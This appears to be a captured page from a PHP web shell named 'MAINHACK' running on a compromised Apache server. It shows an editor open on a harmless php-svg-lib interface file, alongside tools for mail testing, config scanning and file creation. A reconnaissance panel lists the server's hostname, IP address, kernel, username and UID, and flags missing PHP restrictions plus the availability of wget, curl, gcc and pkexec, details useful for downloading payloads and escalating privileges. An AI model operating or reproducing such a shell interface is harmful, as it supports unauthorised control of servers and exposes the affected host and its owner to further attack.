[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SurfaceInterface.php
<?php /** * @package php-svg-lib * @link http://github.com/PhenX/php-svg-lib * @author Fabien Ménager <fabien.menager@gmail.com> * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html */ namespace Svg\Surface; use Svg\Style; /** * Interface Surface, like CanvasRenderingContext2D * * @package Svg */ interface SurfaceInterface { public function save(); public function restore(); // transformations (default transform is the identity matrix) public function scale($x, $y); public function rotate($angle); public function translate($x, $y); public function transform($a, $b, $c, $d, $e, $f); // path ends public function beginPath(); public function closePath(); public function fill(); public function stroke(bool $close = false); public function endPath(); public function fillStroke(bool $close = false); public function clip(); // text (see also the CanvasDrawingStyles interface) public function fillText($text, $x, $y, $maxWidth = null); public function strokeText($text, $x, $y, $maxWidth = null); public function measureText($text); // drawing images public function drawImage($image, $sx, $sy, $sw = null, $sh = null, $dx = null, $dy = null, $dw = null, $dh = null); // paths public function lineTo($x, $y); public function moveTo($x, $y); public function quadraticCurveTo($cpx, $cpy, $x, $y); public function bezierCurveTo($cp1x, $cp1y, $cp2x, $cp2y, $x, $y); public function arcTo($x1, $y1, $x2, $y2, $radius); public function circle($x, $y, $radius); public function arc($x, $y, $radius, $startAngle, $endAngle, $anticlockwise = false); public function ellipse($x, $y, $radiusX, $radiusY, $rotation, $startAngle, $endAngle, $anticlockwise); // Rectangle public function rect($x, $y, $w, $h, $rx = 0, $ry = 0); public function fillRect($x, $y, $w, $h); public function strokeRect($x, $y, $w, $h); public function setStyle(Style $style); /** * @return Style */ public function getStyle(); public function setFont($family, $style, $weight); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002